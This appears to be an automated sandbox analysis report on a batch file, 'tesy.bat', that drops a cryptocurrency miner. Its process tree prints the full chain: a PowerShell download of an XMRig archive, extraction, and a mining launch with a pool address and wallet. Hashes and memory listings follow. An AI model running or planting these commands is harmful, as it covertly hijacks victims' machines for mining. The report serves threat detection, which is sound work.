Analysis

  • max time kernel
    1793s
  • max time network
    1791s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 05:55

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4104
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1904

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          3a273830771c85a90193c73daa8e9e41

          SHA1

          dd16bbb83d3d11ef0612638d9fb755789a7e3684

          SHA256

          6b9362de9e5310721fafb72cc8ab9563b9c6cfb6ab86a77f8fc3da5d801a4300

          SHA512

          c793750b1862c9df3dee1571c876bb4dd1caef6c58fd9ce385cf476b6a9b0462a7331f080131f8d9f7db154f725083eba2e32c87527758f5ba87e2d4e7e46b3a

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_un0iyrar.eeo.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          242KB

          MD5

          a06799d51544ad71f9066576a727ee22

          SHA1

          9cc9b76579453b286ec1d371441e93c140746182

          SHA256

          b7c3b9afca8f5d36685b5420d16fa986ad86c8181946f590d8a39216182b5d35

          SHA512

          1615a13f669349f863744a358d6c4b96f80cba83396e7b94cce32bd324ea6fb71ed570460d13708c3eb8539bbd32792059f6efb0a946d80e134449e3e71276fe

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          91KB

          MD5

          0cd6fca9625aa1334a7672c467267b05

          SHA1

          23dc32b79be230e4fb9e8d431cb933906a840e54

          SHA256

          8efb8e70eab136badc93988890fbcea6378290b532674d23550ca1a3858d87ec

          SHA512

          4d63c7dd2474279b082747b074749d31df7c8203dd8be8f223edf3fcfccffe20736b6ac5f841283d4ec2af9d3734b4d113906f52ce75f1e58ad7bfcddd8cd410

        • memory/212-4-0x000001AE28CB0000-0x000001AE28CD2000-memory.dmp

          Filesize

          136KB

        • memory/212-5-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

          Filesize

          9.9MB

        • memory/212-10-0x000001AE28E60000-0x000001AE28ED6000-memory.dmp

          Filesize

          472KB

        • memory/212-9-0x000001AE108E0000-0x000001AE108F0000-memory.dmp

          Filesize

          64KB

        • memory/212-7-0x000001AE108E0000-0x000001AE108F0000-memory.dmp

          Filesize

          64KB

        • memory/212-25-0x000001AE108E0000-0x000001AE108F0000-memory.dmp

          Filesize

          64KB

        • memory/212-30-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

          Filesize

          9.9MB

        • memory/1904-142-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-147-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-184-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-183-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-182-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-181-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-180-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-117-0x000002739FA50000-0x000002739FA70000-memory.dmp

          Filesize

          128KB

        • memory/1904-118-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-120-0x000002739FA90000-0x000002739FAB0000-memory.dmp

          Filesize

          128KB

        • memory/1904-119-0x000002739FA70000-0x000002739FA90000-memory.dmp

          Filesize

          128KB

        • memory/1904-121-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-122-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-123-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-125-0x000002739FA90000-0x000002739FAB0000-memory.dmp

          Filesize

          128KB

        • memory/1904-124-0x000002739FA70000-0x000002739FA90000-memory.dmp

          Filesize

          128KB

        • memory/1904-126-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-127-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-128-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-129-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-130-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-131-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-132-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-133-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-134-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-135-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-136-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-137-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-138-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-139-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-140-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-141-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-116-0x000002739F820000-0x000002739F840000-memory.dmp

          Filesize

          128KB

        • memory/1904-143-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-144-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-145-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-146-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-179-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-148-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-149-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-150-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-151-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-152-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-153-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-154-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-155-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-156-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-157-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-158-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-159-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-160-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-161-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-162-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-163-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-164-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-165-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-166-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-167-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-168-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-169-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-170-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-171-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-172-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-173-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-174-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-175-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-176-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-177-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/1904-178-0x00007FF77B090000-0x00007FF77BB93000-memory.dmp

          Filesize

          11.0MB

        • memory/4104-40-0x00000251F5DC0000-0x00000251F5DD0000-memory.dmp

          Filesize

          64KB

        • memory/4104-38-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

          Filesize

          9.9MB

        • memory/4104-76-0x00000251F6010000-0x00000251F6022000-memory.dmp

          Filesize

          72KB

        • memory/4104-89-0x00000251F5DA0000-0x00000251F5DAA000-memory.dmp

          Filesize

          40KB

        • memory/4104-62-0x00000251F5DC0000-0x00000251F5DD0000-memory.dmp

          Filesize

          64KB

        • memory/4104-39-0x00000251F5DC0000-0x00000251F5DD0000-memory.dmp

          Filesize

          64KB

        • memory/4104-113-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

          Filesize

          9.9MB